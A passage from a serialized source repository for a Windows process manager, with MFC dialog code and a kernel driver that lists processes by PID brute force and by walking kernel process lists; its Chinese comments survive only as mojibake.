IDM_ABOUTBOX)\r\n\t{\r\n\t\tCAboutDlg dlgAbout;\r\n\t\tdlgAbout.DoModal();\r\n\t}\r\n\telse\r\n\t{\r\n\t\tCDialogEx::OnSysCommand(nID, lParam);\r\n\t}\r\n}\r\n\r\n// ԻСťҪĴ\r\n// Ƹͼꡣʹĵ/ͼģ͵ MFC Ӧó\r\n// ⽫ɿԶɡ\r\n\r\nvoid CProcessManagerDlg::OnPaint()\r\n{\r\n\tif (IsIconic())\r\n\t{\r\n\t\tCPaintDC dc(this); // ڻƵ豸\r\n\r\n\t\tSendMessage(WM_ICONERASEBKGND, reinterpret_cast(dc.GetSafeHdc()), 0);\r\n\r\n\t\t// ʹͼڹо\r\n\t\tint cxIcon = GetSystemMetrics(SM_CXICON);\r\n\t\tint cyIcon = GetSystemMetrics(SM_CYICON);\r\n\t\tCRect rect;\r\n\t\tGetClientRect(&rect);\r\n\t\tint x = (rect.Width() - cxIcon + 1) / 2;\r\n\t\tint y = (rect.Height() - cyIcon + 1) / 2;\r\n\r\n\t\t// ͼ\r\n\t\tdc.DrawIcon(x, y, m_hIcon);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tCDialogEx::OnPaint();\r\n\t}\r\n}\r\n\r\n//û϶Сʱϵͳô˺ȡù\r\n//ʾ\r\nHCURSOR CProcessManagerDlg::OnQueryDragIcon()\r\n{\r\n\treturn static_cast(m_hIcon);\r\n}\r\n\r\n\r\n\r\nvoid CProcessManagerDlg::OnSelchangeTabMain(NMHDR *pNMHDR, LRESULT *pResult)\r\n{\r\n\t// TODO: ڴӿؼ֪ͨ\r\n\tULONG m_SelectTab = 0;\r\n\tm_SelectTab = m_TabMain.GetCurSel();\r\n\tCRect tabRect; \r\n\tm_TabMain.GetClientRect(&tabRect); // ȡǩؼͻRect \r\n\t// tabRectʹ串ǷΧʺϷñǩҳ \r\n\ttabRect.left += 1; \r\n\ttabRect.right -= 1; \r\n\ttabRect.top += 25; \r\n\ttabRect.bottom -= 1; \r\n\tswitch(m_SelectTab)\r\n\t{\r\n\tcase 0:\r\n\t\t{\r\n\t\t\tEnumProcess.SetWindowPos(NULL, tabRect.left, tabRect.top, tabRect.Width(), tabRect.Height(), SWP_SHOWWINDOW);\r\n\t\t\tMonitor.SetWindowPos(NULL, tabRect.left, tabRect.top, tabRect.Width(), tabRect.Height(), SWP_HIDEWINDOW);\r\n\t\t\tif(::MessageBox(NULL,L\"ȷ뿪\",L\"Noti\",1)==MB_OK)\r\n\t\t\t{\r\n\t\t\t\tMonitor.m_bOk = FALSE;\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\t}\r\n\tcase 1:\r\n\t\t{\r\n\t\t\tEnumProcess.SetWindowPos(NULL, tabRect.left, tabRect.top, tabRect.Width(), tabRect.Height(), SWP_HIDEWINDOW);\r\n\t\t\tMonitor.SetWindowPos(NULL, tabRect.left, tabRect.top, tabRect.Width(), tabRect.Height(), SWP_SHOWWINDOW);\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\t*pResult = 0;\r\n}\r\n\r\n\r\n\r\nvoid CProcessManagerDlg::OnCancel()\r\n{\r\n\t// TODO: ڴרô/û\r\n\r\n\tShell_NotifyIcon(NIM_DELETE, &m_nid);\r\n\tCloseHandle(Common.DeviceHandle);\r\n\tCDialogEx::OnCancel();\r\n}\r\n\r\n\r\nVOID CProcessManagerDlg::ContructNotifyConData()\r\n{\r\n\tm_nid.cbSize = sizeof(NOTIFYICONDATA); \r\n\tm_nid.hWnd = m_hWnd; \r\n\tm_nid.uID = IDR_MAINFRAME; \r\n\tm_nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; \r\n\tm_nid.uCallbackMessage = UM_ICONNOTIFY; \r\n\tm_nid.hIcon = m_hIcon; \r\n\tCString strTemp=L\"Ҫǿ㱻Ű.........\"; \r\n\tlstrcpyn(m_nid.szTip,strTemp, sizeof(m_nid.szTip) / sizeof(m_nid.szTip[0]));\r\n\tShell_NotifyIcon(NIM_ADD, &m_nid); //ʾ\r\n\r\n}\r\n\r\n\r\nvoid CProcessManagerDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)\r\n{\r\n/*\tswitch ((UINT)lParam)\r\n\t{\r\n\tcase WM_RBUTTONDOWN: \r\n\t\tCMenu menu;\r\n\t\tmenu.LoadMenu(IDR_MENU_NOTIFY);\r\n\t\tCPoint point;\r\n\t\tGetCursorPos(&point);\r\n\t\tSetForegroundWindow(); //õǰ\r\n\t\tmenu.GetSubMenu(0)->TrackPopupMenu(\r\n\t\t\tTPM_LEFTBUTTON|TPM_RIGHTBUTTON, \r\n\t\t\tpoint.x, point.y, this, NULL); \r\n\t\tPostMessage(WM_USER, 0, 0);\r\n\t\tbreak;\r\n\t}\r\n*/\r\n}" }, { "path": "ProcessManager/ProcessManager/ProcessManagerDlg.h", "content": "\r\n// ProcessManagerDlg.h : ͷļ\r\n//\r\n\r\n#pragma once\r\n#include \"afxcmn.h\"\r\n#include \"ProcessManager.h\"\r\n#include \"Process.h\"\r\n#include \"CEnumProcess.h\"\r\n#include \"Monitor.h\"\r\n\r\n\r\n#define UM_ICONNOTIFY WM_USER+1\r\n// CProcessManagerDlg Ի\r\nclass CProcessManagerDlg : public CDialogEx\r\n{\r\n// \r\npublic:\r\n\tCProcessManagerDlg(CWnd* pParent = NULL);\t// ׼캯\r\n\r\n// Ի\r\n\tenum { IDD = IDD_PROCESSMANAGER_DIALOG };\r\n\tprotected:\r\n\tvirtual void DoDataExchange(CDataExchange* pDX);\t// DDX/DDV ֧\r\n\tNOTIFYICONDATA m_nid;\r\n\tVOID CProcessManagerDlg::ContructNotifyConData();\r\n// ʵ\r\nprotected:\r\n\tHICON m_hIcon;\r\n\t// ɵϢӳ亯\r\n\tvirtual BOOL OnInitDialog();\r\n\tafx_msg void OnSysCommand(UINT nID, LPARAM lParam);\r\n\tafx_msg void OnPaint();\r\n\tafx_msg HCURSOR OnQueryDragIcon();\r\n\tafx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);\r\n\tDECLARE_MESSAGE_MAP()\r\npublic:\r\n\tCTabCtrl m_TabMain;\r\n\tCMonitor Monitor;\r\n\tCEnumProcess EnumProcess;\r\n\tafx_msg void OnSelchangeTabMain(NMHDR *pNMHDR, LRESULT *pResult);\r\n\tvirtual void OnCancel();\r\n};\r\n" }, { "path": "ProcessManager/ProcessManager/stdafx.cpp", "content": "\r\n// stdafx.cpp : ֻ׼ļԴļ\r\n// ProcessManager.pch ΪԤͷ\r\n// stdafx.obj ԤϢ\r\n\r\n#include \"stdafx.h\"\r\n\r\n\r\n" }, { "path": "ProcessManager/ProcessManager/stdafx.h", "content": "\r\n// stdafx.h : ׼ϵͳļİļ\r\n// Ǿʹõĵ\r\n// ضĿİļ\r\n\r\n#pragma once\r\n\r\n#ifndef _SECURE_ATL\r\n#define _SECURE_ATL 1\r\n#endif\r\n\r\n#ifndef VC_EXTRALEAN\r\n#define VC_EXTRALEAN // Windows ͷųʹõ\r\n#endif\r\n\r\n#include \"targetver.h\"\r\n\r\n#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString 캯ʽ\r\n\r\n// ر MFC ijЩɷĺԵľϢ\r\n#define _AFX_ALL_WARNINGS\r\n\r\n#include // MFC ͱ׼\r\n#include // MFC չ\r\n\r\n\r\n#include // MFC Զ\r\n\r\n\r\n\r\n#ifndef _AFX_NO_OLE_SUPPORT\r\n#include // MFC Internet Explorer 4 ؼ֧\r\n#endif\r\n#ifndef _AFX_NO_AFXCMN_SUPPORT\r\n#include // MFC Windows ؼ֧\r\n#endif // _AFX_NO_AFXCMN_SUPPORT\r\n\r\n#include // Ϳؼ MFC ֧\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#ifdef _UNICODE\r\n#if defined _M_IX86\r\n#pragma comment(linker,\"/manifestdependency:\\\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\\\"\")\r\n#elif defined _M_X64\r\n#pragma comment(linker,\"/manifestdependency:\\\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\\\"\")\r\n#else\r\n#pragma comment(linker,\"/manifestdependency:\\\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\\\"\")\r\n#endif\r\n#endif\r\n\r\n\r\n" }, { "path": "ProcessManager/ProcessManager/targetver.h", "content": "#pragma once\r\n\r\n// SDKDDKVer.h ߰汾Ŀ Windows ƽ̨\r\n\r\n// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h\r\n// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h\r\n\r\n#include \r\n" }, { "path": "ProcessManager/ProcessManager.sln", "content": "\r\nMicrosoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"ProcessManager\", \"ProcessManager\\ProcessManager.vcxproj\", \"{4845A0BA-A0B5-4469-BD9F-AF259356D017}\"\r\nEndProject\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"ProcessManagerDrv\", \"ProcessManagerDrv\\ProcessManagerDrv.vcxproj\", \"{6125FD2D-6C93-486E-BDE4-6B97CE5F9B87}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Win32 = Debug|Win32\r\n\t\tDebug|x64 = Debug|x64\r\n\t\tRelease|Win32 = Release|Win32\r\n\t\tRelease|x64 = Release|x64\r\n\t\tWinDDK|Win32 = WinDDK|Win32\r\n\t\tWinDDK|x64 = WinDDK|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{4845A0BA-A0B5-4469-BD9F-AF259356D017}.Debug|Win32.ActiveCfg = Debug|Win32\r\n\t\t{4845A0BA-A0B5-4469-BD9F-AF259356D017}.Debug|Win32.Build.0 = Debug|Win32\r\n\t\t{4845A0BA-A0B5-4469-BD9F-AF259356D017}.Debug|x64.ActiveCfg = Debug|x64\r\n\t\t{4845A0BA-A0B5-4469-BD9F-AF259356D017}.Debug|x64.Build.0 = Debug|x64\r\n\t\t{4845A0BA-A0B5-4469-BD9F-AF259356D017}.Release|Win32.ActiveCfg = Release|Win32\r\n\t\t{4845A0BA-A0B5-4469-BD9F-AF259356D017}.Release|Win32.Build.0 = Release|Win32\r\n\t\t{4845A0BA-A0B5-4469-BD9F-AF259356D017}.Release|x64.ActiveCfg = Release|x64\r\n\t\t{4845A0BA-A0B5-4469-BD9F-AF259356D017}.Release|x64.Build.0 = Release|x64\r\n\t\t{4845A0BA-A0B5-4469-BD9F-AF259356D017}.WinDDK|Win32.ActiveCfg = Release|Win32\r\n\t\t{4845A0BA-A0B5-4469-BD9F-AF259356D017}.WinDDK|Win32.Build.0 = Release|Win32\r\n\t\t{4845A0BA-A0B5-4469-BD9F-AF259356D017}.WinDDK|x64.ActiveCfg = Release|x64\r\n\t\t{4845A0BA-A0B5-4469-BD9F-AF259356D017}.WinDDK|x64.Build.0 = Release|x64\r\n\t\t{6125FD2D-6C93-486E-BDE4-6B97CE5F9B87}.Debug|Win32.ActiveCfg = WinDDK|x64\r\n\t\t{6125FD2D-6C93-486E-BDE4-6B97CE5F9B87}.Debug|x64.ActiveCfg = WinDDK|x64\r\n\t\t{6125FD2D-6C93-486E-BDE4-6B97CE5F9B87}.Debug|x64.Build.0 = WinDDK|x64\r\n\t\t{6125FD2D-6C93-486E-BDE4-6B97CE5F9B87}.Release|Win32.ActiveCfg = WinDDK|x64\r\n\t\t{6125FD2D-6C93-486E-BDE4-6B97CE5F9B87}.Release|x64.ActiveCfg = WinDDK|x64\r\n\t\t{6125FD2D-6C93-486E-BDE4-6B97CE5F9B87}.Release|x64.Build.0 = WinDDK|x64\r\n\t\t{6125FD2D-6C93-486E-BDE4-6B97CE5F9B87}.WinDDK|Win32.ActiveCfg = WinDDK|Win32\r\n\t\t{6125FD2D-6C93-486E-BDE4-6B97CE5F9B87}.WinDDK|Win32.Build.0 = WinDDK|Win32\r\n\t\t{6125FD2D-6C93-486E-BDE4-6B97CE5F9B87}.WinDDK|x64.ActiveCfg = WinDDK|x64\r\n\t\t{6125FD2D-6C93-486E-BDE4-6B97CE5F9B87}.WinDDK|x64.Build.0 = WinDDK|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "ProcessManager/ProcessManagerDrv/Common.c", "content": "#include \"Common.h\"\r\n\r\nextern WIN_VERSION WinVersion;\r\n\r\nextern ULONG_PTR ObjectHeaderSize;\r\nextern ULONG_PTR ObjectTypeOffsetOf_Object_Header;\r\n\r\nextern ULONG_PTR ObjectTableOffsetOf_EPROCESS;\r\nWIN_VERSION GetWindowsVersion()\r\n{\r\n\tRTL_OSVERSIONINFOEXW osverInfo = {sizeof(osverInfo)}; \r\n\tpfnRtlGetVersion RtlGetVersion = NULL;\r\n\tWIN_VERSION WinVersion;\r\n\tWCHAR wzRtlGetVersion[] = L\"RtlGetVersion\";\r\n\tRtlGetVersion = (pfnRtlGetVersion)GetFunctionAddressByName(wzRtlGetVersion); \r\n\tif (RtlGetVersion)\r\n\t{\r\n\t\tRtlGetVersion((PRTL_OSVERSIONINFOW)&osverInfo); \r\n\t} \r\n\telse \r\n\t{\r\n\t\tPsGetVersion(&osverInfo.dwMajorVersion, &osverInfo.dwMinorVersion, &osverInfo.dwBuildNumber, NULL); //Documet\r\n\t}\r\n\tDbgPrint(\"Build Number: %d\\r\\n\", osverInfo.dwBuildNumber);\r\n\tif (osverInfo.dwMajorVersion == 5 && osverInfo.dwMinorVersion == 1) \r\n\t{\r\n\t\tDbgPrint(\"WINDOWS_XP\\r\\n\");\r\n\t\tWinVersion = WINDOWS_XP;\r\n\t}\r\n\telse if (osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1)\r\n\t{\r\n\t\tDbgPrint(\"WINDOWS 7\\r\\n\");\r\n\t\tWinVersion = WINDOWS_7;\r\n\t}\r\n\telse if (osverInfo.dwMajorVersion == 6 && \r\n\t\tosverInfo.dwMinorVersion == 2 &&\r\n\t\tosverInfo.dwBuildNumber == 9200)\r\n\t{\r\n\t\tDbgPrint(\"WINDOWS 8\\r\\n\");\r\n\t\tWinVersion = WINDOWS_8;\r\n\t}\r\n\telse if (osverInfo.dwMajorVersion == 6 && \r\n\t\tosverInfo.dwMinorVersion == 3 && \r\n\t\tosverInfo.dwBuildNumber == 9600)\r\n\t{\r\n\t\tDbgPrint(\"WINDOWS 8.1\\r\\n\");\r\n\t\tWinVersion = WINDOWS_8_1;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tDbgPrint(\"WINDOWS_UNKNOW\\r\\n\");\r\n\t\tWinVersion = WINDOWS_UNKNOW;\r\n\t}\r\n\treturn WinVersion;\r\n}\r\nPVOID \r\n\tGetFunctionAddressByName(WCHAR *wzFunction)\r\n{\r\n\tUNICODE_STRING uniFunction; \r\n\tPVOID AddrBase = NULL;\r\n\tif (wzFunction && wcslen(wzFunction) > 0)\r\n\t{\r\n\t\tRtlInitUnicodeString(&uniFunction, wzFunction); \r\n\t\tAddrBase = MmGetSystemRoutineAddress(&uniFunction); \r\n\t}\r\n\treturn AddrBase;\r\n}\r\n\r\n\r\nULONG_PTR KeGetObjectType(PVOID Object)\r\n{\r\n\tULONG_PTR ObjectType = 0;\r\n\tpfnObGetObjectType ObGetObjectType = NULL; \r\n\r\n\tif (NULL == Object)\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tif (WinVersion==WINDOWS_XP)\r\n\t{\r\n\t\tULONG SizeOfObjectHeader = 0;\r\n\t\tULONG ObjectTypeOffset = 0;\r\n\t\tULONG_PTR ObjectTypeAddress = 0;\r\n\r\n\t\tObjectTypeAddress = (ULONG_PTR)Object - ObjectHeaderSize + ObjectTypeOffsetOf_Object_Header;\r\n\r\n\t\tif (MmIsAddressValid((PVOID)ObjectTypeAddress))\r\n\t\t{ \r\n\t\t\tObjectType = *(ULONG_PTR*)ObjectTypeAddress;\r\n\t\t}\r\n\t}\r\n\telse \r\n\t{\r\n\t\t//高版本使用函数\r\n\r\n\t\tObGetObjectType = (pfnObGetObjectType)GetFunctionAddressByName(L\"ObGetObjectType\");\r\n\t\tif (ObGetObjectType)\r\n\t\t{\r\n\t\t\tObjectType = ObGetObjectType(Object);\r\n\t\t}\r\n\t}\r\n\r\n\treturn ObjectType;\r\n}\r\n\r\nBOOLEAN IsProcessDie(PEPROCESS EProcess)\r\n{\r\n\tBOOLEAN bDie = FALSE;\r\n\r\n\tif (MmIsAddressValid &&\r\n\t\tEProcess && \r\n\t\tMmIsAddressValid(EProcess) &&\r\n\t\tMmIsAddressValid((PVOID)((ULONG_PTR)EProcess + ObjectTableOffsetOf_EPROCESS)))\r\n\t{\r\n\t\tPVOID ObjectTable = *(PVOID*)((ULONG_PTR)EProcess + ObjectTableOffsetOf_EPROCESS );\r\n\r\n\t\tif (!ObjectTable||!MmIsAddressValid(ObjectTable) )\r\n\t\t{\r\n\t\t\tDbgPrint(\"Process is Die\\r\\n\");\r\n\t\t\tbDie = TRUE;\r\n\t\t}\r\n\t}\r\n\telse\r\n\t{\r\n\t\tDbgPrint(\"Process is Die2\\r\\n\");\r\n\t\tbDie = TRUE;\r\n\t}\r\n\treturn bDie;\r\n}\r\n\r\n" }, { "path": "ProcessManager/ProcessManagerDrv/Common.h", "content": "#pragma once\r\n#include \"ProcessManagerDrv.h\"\r\n\r\n\r\n\r\n\r\ntypedef struct _HANDLE_TABLE64\r\n{\r\n\tPVOID64 TableCode;\r\n\tPVOID64 QuotaProcess;\r\n\tPVOID64 UniqueProcessID;\r\n\tPVOID64 HandleLock;\r\n\tLIST_ENTRY HandleTableList;\r\n\tPVOID64 HandleContentionEvent;\r\n\tPVOID64 DebugInfo;\r\n\tULONG ExtraInfoPages;\r\n\tULONG Flags;\r\n\tULONG FirstFreeHandle;\r\n\tPVOID64 LastFreeHandleEntry;\r\n\tULONG HandleCount;\r\n\tULONG NextHandleNeedingPool;\r\n\tULONG HandleCountHighWatermark;\r\n}HANDLE_TABLE64,*PHANDLE_TABLE64;\r\n\r\n\r\n\r\ntypedef struct _HANDLE_TABLE32\r\n{\r\n\tPVOID TableCode;\r\n\tPVOID QuotaProcess;\r\n\tPVOID UniqueProcessID;\r\n\tULONG HandleLock[4];\r\n\tLIST_ENTRY HandleTableList;\r\n\tPVOID HandleContentionEvent;\r\n\tPVOID DebugInfo;\r\n\tULONG ExtraInfoPages;\r\n\tULONG FirstFree;\r\n\tULONG LastFree;\r\n\tULONG NextHandleNeedingPool;\r\n\tULONG HandleCount;\r\n\tULONG Flags;\r\n}HANDLE_TABLE32,*PHANDLE_TABLE32;\r\n\r\n#ifdef _WIN64\r\n#define PHANDLE_TABLE PHANDLE_TABLE64\r\n#else\r\n#define PHANDLE_TABLE PHANDLE_TABLE32\r\n#endif\r\n\r\n\r\n\r\n\r\n\r\ntypedef struct _HANDLE_TABLE_ENTRY64 \r\n{\r\n\tunion {\r\n\t\tPVOID64 Object;\r\n\t\tULONG ObAttributes;\r\n\t\tPVOID64 InfoTable;\r\n\t\tULONG_PTR Value;\r\n\t};\r\n\tunion {\r\n\t\tunion {\r\n\t\t\tULONG GrantedAccess;\r\n\t\t\tstruct {\r\n\t\t\t\tUSHORT GrantedAccessIndex;\r\n\t\t\t\tUSHORT CreatorBackTraceIndex;\r\n\t\t\t};\r\n\t\t};\r\n\t\tULONG NextFreeTableEntry;\r\n\t};\r\n\r\n} HANDLE_TABLE_ENTRY64, *PHANDLE_TABLE_ENTRY64;\r\n\r\n\r\ntypedef struct _HANDLE_TABLE_ENTRY32 \r\n{\r\n\tunion {\r\n\t\tPVOID Object;\r\n\t\tULONG ObAttributes;\r\n\t\tPVOID InfoTable;\r\n\t\tULONG_PTR Value;\r\n\t};\r\n\tunion {\r\n\t\tunion {\r\n\t\t\tULONG GrantedAccess;\r\n\t\t\tstruct {\r\n\t\t\t\tUSHORT GrantedAccessIndex;\r\n\t\t\t\tUSHORT CreatorBackTraceIndex;\r\n\t\t\t};\r\n\t\t};\r\n\t\tULONG NextFreeTableEntry;\r\n\t};\r\n\r\n} HANDLE_TABLE_ENTRY32, *PHANDLE_TABLE_ENTRY32;\r\n\r\n\r\n#ifdef _WIN64\r\n#define PHANDLE_TABLE_ENTRY PHANDLE_TABLE_ENTRY64\r\n#else\r\n#define PHANDLE_TABLE_ENTRY PHANDLE_TABLE_ENTRY32\r\n#endif\r\n\r\n#ifdef _WIN64\r\n#define HANDLE_TABLE_ENTRY HANDLE_TABLE_ENTRY64\r\n#else\r\n#define HANDLE_TABLE_ENTRY HANDLE_TABLE_ENTRY32\r\n#endif\r\n\r\n\r\n\r\n\r\ntypedef struct _PROCESS_INFORMATION_ENTRY_\r\n{\r\n\tchar ProcessName[50];\r\n\tULONG Pid;\r\n\tULONG ParentId;\r\n\tWCHAR ProcessPath[260];\r\n\tULONG_PTR Eprocess;\r\n\tBOOLEAN IsAccess;\r\n\tWCHAR Company[20];\r\n}PROCESS_INFORMATION_ENTRY, *PPROCESS_INFORMATION_ENTRY;\r\ntypedef struct _PROCESS_INFORMATION_OWN\r\n{\r\n\tULONG_PTR NumberOfEntry;\r\n\tPROCESS_INFORMATION_ENTRY Entry[1];\r\n}PROCESS_INFORMATION_OWN, *PPROCESS_INFORMATION_OWN;\r\n\r\n\r\n\r\ntypedef enum WIN_VERSION {\r\n\tWINDOWS_UNKNOW,\r\n\tWINDOWS_XP,\r\n\tWINDOWS_7,\r\n\tWINDOWS_8,\r\n\tWINDOWS_8_1\r\n} WIN_VERSION;\r\n\r\nWIN_VERSION GetWindowsVersion();\r\nPVOID \r\n\tGetFunctionAddressByName(WCHAR *wzFunction);\r\ntypedef \r\n\tNTSTATUS \r\n\t(*pfnRtlGetVersion)(OUT PRTL_OSVERSIONINFOW lpVersionInformation);\r\n\r\nULONG_PTR KeGetObjectType(PVOID Object);\r\ntypedef ULONG_PTR \r\n\t(*pfnObGetObjectType)(PVOID pObject);\r\nBOOLEAN IsProcessDie(PEPROCESS EProcess);" }, { "path": "ProcessManager/ProcessManagerDrv/EnumProcess.c", "content": "#include \"EnumProcess.h\"\r\n#include \"Common.h\"\r\n\r\nextern WIN_VERSION WinVersion;\r\nextern ULONG_PTR ProcessIdOfEprocess;\r\nextern ULONG_PTR ProcessImageNameOfEprocess;\r\n\r\nextern ULONG_PTR ulProcessParametersOfPeb;\r\nextern ULONG_PTR ulImagePathNameOfProcessParameters;\r\n\r\nextern ULONG_PTR Active_List;\r\n\r\nextern ULONG_PTR PebOfEProcess;\r\n\r\nextern ULONG_PTR PspCidTable;\r\nextern ULONG_PTR FatherOfEprocess;\r\n\r\nextern PEPROCESS g_SystemProcess;\r\n\r\nULONG_PTR SectionObjectOfEProcess = 0;\r\nNTSTATUS EnumProcessByOpenProcess(PVOID OutputBuffer,ULONG_PTR uOutSize)\r\n{\r\n\tNTSTATUS status;\r\n\tHANDLE ProcessHandle = NULL;\r\n\tCLIENT_ID Cid = {0};\r\n\tOBJECT_ATTRIBUTES oa = {0};\r\n\tPEPROCESS Process = NULL;\r\n\tULONG_PTR i = 0;\r\n\tPROCESS_BASIC_INFORMATION pbi;\r\n\tPVOID Buffer = NULL;\r\n\tULONG RetusnSize;\r\n\tKAPC_STATE ApcState;\r\n\tULONG_PTR Peb = 0;\r\n\tULONG_PTR ulProcessParamters = 0;\r\n\tULONG_PTR ulProcessNameLen = 0;\r\n\tULONG_PTR ulCnt = (uOutSize-sizeof(PROCESS_INFORMATION_OWN))/sizeof(PROCESS_INFORMATION_ENTRY);\r\n\r\n\tfor(i = 0; i < 0x1000; i += 4)\r\n\t{\r\n\t\tCid.UniqueProcess = (HANDLE)i;\r\n\t\tCid.UniqueThread = 0;\r\n\t\tstatus = ZwOpenProcess(&ProcessHandle,GENERIC_ALL,&oa,&Cid);\r\n\t\tif(NT_SUCCESS(status))\r\n\t\t{\r\n\t\t\tObReferenceObjectByHandle(ProcessHandle,\r\n\t\t\t\tGENERIC_ALL,\r\n\t\t\t\tNULL,\r\n\t\t\t\tKernelMode,\r\n\t\t\t\t&Process,\r\n\t\t\t\tNULL);\r\n\t\t\tif(!IsProcessDie(Process))\r\n\t\t\t{\r\n\t\t\t\tULONG_PTR ulCurrentCnt = ((PPROCESS_INFORMATION_OWN)OutputBuffer)->NumberOfEntry;\r\n\t\t\t\t((PPROCESS_INFORMATION_OWN)OutputBuffer)->Entry[ulCurrentCnt].Eprocess = (ULONG_PTR)Process;\r\n\t\t\t\t((PPROCESS_INFORMATION_OWN)OutputBuffer)->Entry[ulCurrentCnt].Pid = *(ULONG*)((ULONG_PTR)Process + ProcessIdOfEprocess);\r\n\t\t\t\tulProcessNameLen = strlen((const char*)PsGetProcessImageFileName(Process));\r\n\t\t\t\t//ͨEProcessý\r\n\t\t\t\tmemcpy(((PPROCESS_INFORMATION_OWN)OutputBuffer)->Entry[ulCurrentCnt].ProcessName,(const char*)PsGetProcessImageFileName(Process),ulProcessNameLen); \r\n\t\t\t\r\n\t\t\t\t((PPROCESS_INFORMATION_OWN)OutputBuffer)->Entry[ulCurrentCnt].ParentId = *(ULONG*)((ULONG_PTR)Process + FatherOfEprocess);\r\n\t\t\t\tDbgPrint(\"ZwOpenProcess ID:%d %s\\r\\n\",*((ULONG_PTR*)((ULONG_PTR)Process+ProcessIdOfEprocess)),(char*)((ULONG_PTR)Process+ProcessImageNameOfEprocess));\r\n\t\t\t\r\n\t\t\t\tGetProcessPathBySectionObject(Process,((PPROCESS_INFORMATION_OWN)OutputBuffer)->Entry[ulCurrentCnt].ProcessPath);\r\n\t\t\t\t((PPROCESS_INFORMATION_OWN)OutputBuffer)->NumberOfEntry++;\r\n\t\t\t}\r\n\t\t\tObDereferenceObject(Process); //\r\n\t\t\tZwClose(ProcessHandle);\r\n\t\t}\r\n\t\tmemset(&oa,0,sizeof(OBJECT_ATTRIBUTES));\r\n\t}\r\n\treturn STATUS_SUCCESS;\r\n}\r\n\r\nNTSTATUS EnumProcessByActiveList(PPROCESS_INFORMATION_OWN OutputBuffer,ULONG_PTR OutSize)\r\n{\r\n\tNTSTATUS Status = STATUS_UNSUCCESSFUL;\r\n\r\n\tPLIST_ENTRY ListHead = NULL;\r\n\tPLIST_ENTRY ListTemp = NULL;\r\n\tPETHREAD EThread = NULL;\r\n\tCHAR PreMode;\r\n\tULONG_PTR ulCnt = (OutSize - sizeof(PROCESS_INFORMATION_OWN)) / sizeof(PROCESS_INFORMATION_ENTRY);\r\n\tPEPROCESS Process = g_SystemProcess;\r\n\tKAPC_STATE ApcState;\r\n\tPPEB Peb = NULL;\r\n\tULONG_PTR ulProcessParamters = 0;\r\n\r\n\tif(Process!=NULL)\r\n\t{\r\n\t\tListHead = ListTemp = (PLIST_ENTRY)((ULONG_PTR)Process + Active_List); //system.exe\r\n\t\tListHead = ListHead->Blink;\r\n\r\n\t\twhile (ListTemp!=ListHead)\r\n\t\t{\r\n\t\t\tULONG_PTR ulCurrentCnt = OutputBuffer->NumberOfEntry;\r\n\t\t\tProcess = (PEPROCESS)((ULONG_PTR)ListTemp-Active_List);\r\n\t\t\t((PPROCESS_INFORMATION_OWN)OutputBuffer)->Entry[ulCurrentCnt].Eprocess = (ULONG_PTR)Process;\r\n\t\t\tDbgPrint(\"ActiveList ID:%d %s\\r\\n\",*((ULONG_PTR*)((ULONG_PTR)Process + ProcessIdOfEprocess)),(char*)((ULONG_PTR)Process + ProcessImageNameOfEprocess));\r\n\t\t\tOutputBuffer->Entry[ulCurrentCnt].Pid = *((ULONG*)((ULONG_PTR)Process + ProcessIdOfEprocess));\r\n\t\t\tstrcpy(OutputBuffer->Entry[ulCurrentCnt].ProcessName,(char*)((ULONG_PTR)Process + ProcessImageNameOfEprocess));\r\n\r\n\t\t\t((PPROCESS_INFORMATION_OWN)OutputBuffer)->Entry[ulCurrentCnt].ParentId = *(ULONG*)((ULONG_PTR)Process + FatherOfEprocess);\r\n\t\t\tGetProcessPathBySectionObject(Process,((PPROCESS_INFORMATION_OWN)OutputBuffer)->Entry[ulCurrentCnt].ProcessPath);\r\n\t\t\t/*\r\n\t\t\tPeb = PsGetProcessPeb(Process); //PEB\r\n\t\t\tif (Peb==NULL) \r\n\t\t\t{\r\n\t\t\t\treturn FALSE;\r\n\t\t\t}\r\n\t\t\tKeStackAttachProcess(Process, &ApcState);\r\n\r\n\t\t\tulProcessParamters = *(ULONG_PTR*)((ULONG_PTR)Peb + ulProcessParametersOfPeb);//0x20\r\n\r\n\t\t\tmemcpy(((PPROCESS_INFORMATION_OWN)OutputBuffer)->Entry[ulCurCnt].ProcessPath,((PUNICODE_STRING)(ulProcessParamters+ulImagePathNameOfProcessParameters))->Buffer,\r\n\t\t\t\t((PUNICODE_STRING)(ulProcessParamters+ulImagePathNameOfProcessParameters))->Length);//0x60\r\n\t\t\tKeUnstackDetachProcess(&ApcState);*/\r\n\r\n\t\t\tListTemp = ListTemp->Flink;\r\n\t\t\tOutputBuffer->NumberOfEntry++;\r\n\t\t}\r\n\t}\r\n\treturn STATUS_SUCCESS;\r\n}\r\n\r\nNTSTATUS EnumProcessByPspCidTable(PPROCESS_INFORMATION_OWN 